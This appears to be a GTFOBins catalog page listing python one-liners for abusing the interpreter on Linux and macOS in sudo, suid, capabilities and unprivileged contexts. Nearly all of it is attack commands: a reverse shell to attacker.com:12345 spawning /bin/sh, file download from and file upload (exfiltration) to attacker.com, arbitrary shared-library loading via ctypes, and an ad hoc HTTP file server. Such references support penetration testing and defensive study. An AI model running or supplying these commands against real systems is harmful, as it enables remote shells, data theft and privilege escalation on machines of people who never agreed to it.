Catalog GTFOBins

GTFO · Tool

python

26 techniques Linux · macOSGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation LinuxmacOS
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")'
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation LinuxmacOS
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")'
Context
suid
Native
download
MITRE
T1105

download

File Download LinuxmacOS
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")'
Context
unprivileged
Native
download
MITRE
T1105

library-load

Library LoadPrivilege Escalation LinuxmacOS
python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")'
Context
capabilities
Native
library-load
MITRE
T1574

library-load

Library LoadPrivilege Escalation LinuxmacOS
python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")'
Context
sudo
Native
library-load
MITRE
T1574

library-load

Library LoadPrivilege Escalation LinuxmacOS
python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")'
Context
suid
Native
library-load
MITRE
T1574

library-load

Library Load LinuxmacOS
python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")'
Context
unprivileged
Native
library-load
MITRE
T1574

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect(("attacker.com",12345))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect(("attacker.com",12345))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind Shell LinuxmacOS
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect(("attacker.com",12345))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
Context
unprivileged
Native
reverse-shell

upload

File UploadPrivilege Escalation LinuxmacOS
python -c 'import sys
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())'
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS
python -c 'import sys
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())'
Context
suid
Native
upload
MITRE
T1041

upload

File Upload LinuxmacOS
python -c 'import sys
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())'
Context
unprivileged
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS
python -c 'import sys
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()'
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS
python -c 'import sys
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()'
Context
suid
Native
upload
MITRE
T1041

upload

File Upload LinuxmacOS
python -c 'import sys
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()'
Context
unprivileged
Native
upload
MITRE
T1041